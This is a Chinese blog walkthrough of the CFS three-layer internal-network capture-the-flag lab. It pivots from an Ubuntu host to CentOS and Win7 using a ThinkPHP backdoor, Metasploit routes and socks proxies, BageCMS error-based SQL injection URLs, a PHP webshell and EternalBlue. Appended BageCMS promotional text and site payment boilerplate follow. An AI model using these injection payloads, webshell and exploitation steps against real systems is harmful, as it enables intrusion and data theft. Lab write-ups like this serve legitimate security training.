CFS三层内网渗透

目录

环境搭建

拿ubuntu主机

信息收集

thinkphp漏洞利用

上线msf

添加路由+建立socks代理

bagecms漏洞利用

拿下centos主机

msf上线centos

添加路由,建立socks代理

拿下win7主机


环境搭建

设置三块虚拟网卡

 

 

开启虚拟机验证,确保所处网段正确,

 

 

 

最后,登录到ubunt和centos的宝塔面板进行相关配置。

拿ubuntu主机

信息收集

访问web服务

 直接上工具进行测试。

thinkphp漏洞利用

验证存在漏洞,并写入后门

验证一下是否写入成功,访问发现没有报错,说明成功写入了后门

用蚁剑进行连接

搜索有用信息,在根目录发现了flag.txt

上线msf

Msf生成后门,通过蚁剑上传并执行后门上线msf

 

发现第二个网段192.168.22.0/24

添加路由+建立socks代理

添加路由访问22网段

使用auxiliary/scanner/discovery/arp_sweep模块对22网段进行存活主机扫描

发现192.168.22.128主机存活,msf添加socks代理

接着编辑/etc/proxychains.conf

添加了代理之后就可以启用nmap扫描22网段,启用-Pn(禁ping扫描)和-sT(tcp扫描)

 

可以看到192.168.22.128主机开了几个比较常见服务的默认端口。

bagecms漏洞利用

浏览器开启socks5代理访问第二台主机的web服务

 

访问之后看到八哥cms。访问源代码发现存在sql注入漏洞

加入单引号之后报错,尝试报错注入

手工利用:

获取数据库名:

http://192.168.22.129/?r=vul&keyword=1%27%20and%20updatexml(1,(select%20group_concat(0x7e,database()%20)%20%20),1)%20--+

获取表名:

http://192.168.22.129/?r=vul&keyword=1%27%20and%20updatexml(1,(select%20concat(0x7e,table_name)from%20information_schema.tables%20where%20table_schema=%27bagecms%27%20limit%201,1%20%20),1)%20--+

获取字段名:

http://192.168.22.129/?r=vul&keyword=1%27%20and%20updatexml(1,(select%20concat(0x7e,column_name)from%20information_schema.columns%20where%20table_name=%27bage_admin%27%20limit%201,1%20%20),1)%20--+

查询username和password

 

得到的这个密码还不全,可以通过substr()函数进行截取,不过解密后也得到了正确的密码

得到用户名和密码:admin/123qwe。接着进行目录扫描然后找到后台,用刚才得到的用户名和密码进行登录。

这里要是想使用sqlmap来跑的话,建议使用socks4代理,比较稳定,不容易断开。

拿下centos主机

通过目录扫描发现后台登录地址

登进去看到了个flag

在模板处发现多个php文件,尝试向其中写入一句话木马。

这里的网址使用的是模块化,不能直接加在网站上,要用?r=模块文件 的方式访问模块文件,再用蚁剑连接。

模拟真实环境,蚁剑也需要开启代理之后再进行连接。

连接上后又看到了一个flag文件

开启蚁剑虚拟终端

发现第三个网段。

msf上线centos

同样,通过生成木马来把第二台主机上线msf,因为我们通过代理访问的ubuntu,所以只能生成一个正向的shell来进行连接。

然后通过代理来启动一个新的msf监听窗口,这样才能保证之前的msf窗口继续存在。

开启监听

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set lport 5555

set rhost 192.168.22.129

接着通过蚁剑上传刚刚生成的正向shell并运行。

因为是正向shell,所以要先运行木马文件,再进行一个主动的连接

这样就成功拿下了ubuntu主机。发现第三个网段

添加路由,建立socks代理

再编辑配置文件。

拿下win7主机

然后使用新的代理扫描一下33网段主机,msf的扫描模块或者nmap都可以。

可以探测到445端口开放,联想到永恒之蓝。尝试用永恒之蓝打一波

 

成功拿下win7,最后的flag在桌面,出现乱码问题就修改一下编码方式(65001指的是UTF-8编码)

至此三台主机都已经上线msf,全部打通。

BageCms是一款基于php5 mysql5开发的多功能开源的网站内容管理系统。使用高性能的PHP5的web应用程序开发框架YII构建,具有操作简单、稳定、安全、高效、跨平台等特点。采用MVC设计模式,模板定制方便灵活,内置小挂工具,方便制作各类功能和效果,BageCms可用于企业建站、个人博客、资讯门户、图片站等各类型站点。 BageCMS八哥CMS)特点 1.开源免费 无论是个人还是企业展示型网站均可用本系统来完成 2.数据调用方便快捷 自主研发的数据调用模块,能快速调用各类型数据,方便建站 3.应用范围广 这套系统不是企业网站管理系统,也不是博客程序,更不是专业的图片管理系统,但它却具备大部分企业站、博客站、图片站的功能 4.安全高性能 基于高性能的PHP5的web应用程序开发框架YII构建具有稳定、安全、高效、跨平台等特点 5.URL自定义 系统支持自定义伪静态显示方式,良好的支持搜索引擎SEO。个性化设置每个栏目、内容的标题标签、描述标签、关键词标签 6.自定义数据模型 系统可自定义数据模型满足各种表示形式和字段需求 7.完善的后台权限控制 特有的管理员权限管理机制,可以灵活设置管理员的栏目管理权限、网站信息的添加、修改、删除权限等 BageCMS八哥CMS)v3.1.3更新日志 此次更新仅做安全问题进行修正,未涉及到程序的功能升级。 BageCMS八哥CMS)前台截图 BageCMS八哥CMS)后台截图 后台地址:http://demo.bagecms.com/admini 用户:bagecms 密码:bagecms 相关阅读 同类推荐:站长常用源码 BageCMS安装教程:http://down.admin5.com/info/2013/0926/105491.html
八哥内容管理系统(BageCms)是一款基于php mysql开发的多功能开源的网站内容管理系统。使用高性能的PHP5的web应用程序开发框架YII构建,具有稳定、安全、高效、跨平台等特点。采用MVC设计模式,定制方便灵活,可用于企业建站、个人博客、资讯门户、图片站等各类型站点。 八哥内容管理系统(BageCms) 3.1.3 更新日志:2016-10-30 此次更新仅做安全问题进行修正,未涉及到程序的功能升级。 特点: 1.开源免费 无论是个人还是企业展示型网站均可用本系统来完成。 2.数据调用方便快捷 自主研发的数据调用模块,能快速调用各类型数据,方便建站。 3.应用范围广 这套系统不只是企业网站管理系统,也不是博客程序,更不是专业的图片管理系统,但它却具备大部分企业站、博客站、图片站的功能。 4.安全高性能 基于高性能的PHP5的web应用程序开发框架YII构建具有稳定、安全、高效、跨平台等特点。 5.URL自定义 系统支持自定义伪静态显示方式,良好的支持搜索引擎SEO。个性化设置每个栏目、内容的标题标签、描述标签、关键词标签。 6.自定义数据模型 系统可自定义数据模型满足各种表示形式和字段需求。 7.完善的后台权限控制 特有的管理员权限管理机制,可以灵活设置管理员的栏目管理权限、网站信息的添加、修改、删除权限等。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值